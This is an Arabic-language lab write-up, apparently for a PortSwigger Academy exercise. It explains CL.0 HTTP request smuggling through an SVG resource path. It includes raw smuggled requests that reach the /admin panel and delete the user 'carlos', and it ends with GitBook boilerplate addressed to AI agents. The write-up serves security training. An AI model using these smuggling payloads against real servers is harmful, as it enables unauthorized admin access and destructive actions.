> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/request-smuggling/cl-0-request-smuggling.md).

# تهريب طلبات CL.0

### تهريب الطلبات CL.0

#### **ملخص المختبر**

في هذا السيناريو، **CL.0** يتم استغلال ثغرة، حيث يتجاهل الخادم الخلفي \*\*ترويسة Content-Length\*\* لبعض المسارات. يتيح هذا التناقض حقن طلب ثانٍ داخل جسم طلب POST يبدو عادياً.

#### **تحديد النقطة الضعيفة**

بعد بضع اختبارات، نجد أن الرابط:

```
/resources/images/blog.svg
```

يُعامَل بشكل مختلف من قبل الخادم الخلفي:/ حتى لو تم تعيين Content-Length إلى صفر، فإن الخادم يتلقى **كل المحتوى المقدم**، مما يخلق نافذة مثالية لتهريب الطلبات القائم على CL.0.

#### **حقن طلب مخفي**

يُرسل أولاً طلب POST أدنى حد للتأكد من السلوك:

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 0
```

بعد ذلك، نستفيد من حقيقة أن الخادم الخلفي يقرأ على أي حال المحتوى الخاص به **لتهريب طلب ثانٍ**، بهدف الوصول إلى لوحة الإدارة:

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 26


GET /admin HTTP/1.1
اختبار: A
```

يفسّر الخادم الخلفي الجزء المحقون على أنه طلب مستقل، ويتيح لنا تجاوز قيود الواجهة الأمامية.

<figure><img src="/files/10e40ce23898e358cf71cf66c581918f6b0483ab" alt=""><figcaption></figcaption></figure>

#### **حذف المستخدم Carlos**

بمجرد تأكيد الوصول إلى لوحة الإدارة، يتم حقن طلب مشابه لتنفيذ الإجراء:

```http
/admin/delete?username=carlos
```

وهذا يُنتج:

```http
POST /resources/images/blog.svg HTTP/1.1
Host: 0a4f004a03a25bdd80191c85004500ba.web-security-academy.net
Content-Length: 26


GET /admin/delete?username=carlosHTTP/1.1
اختبار: A
```

<figure><img src="/files/71ea9b580638b37eaea5d97f35b9ead0ae8fdc6b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/request-smuggling/cl-0-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
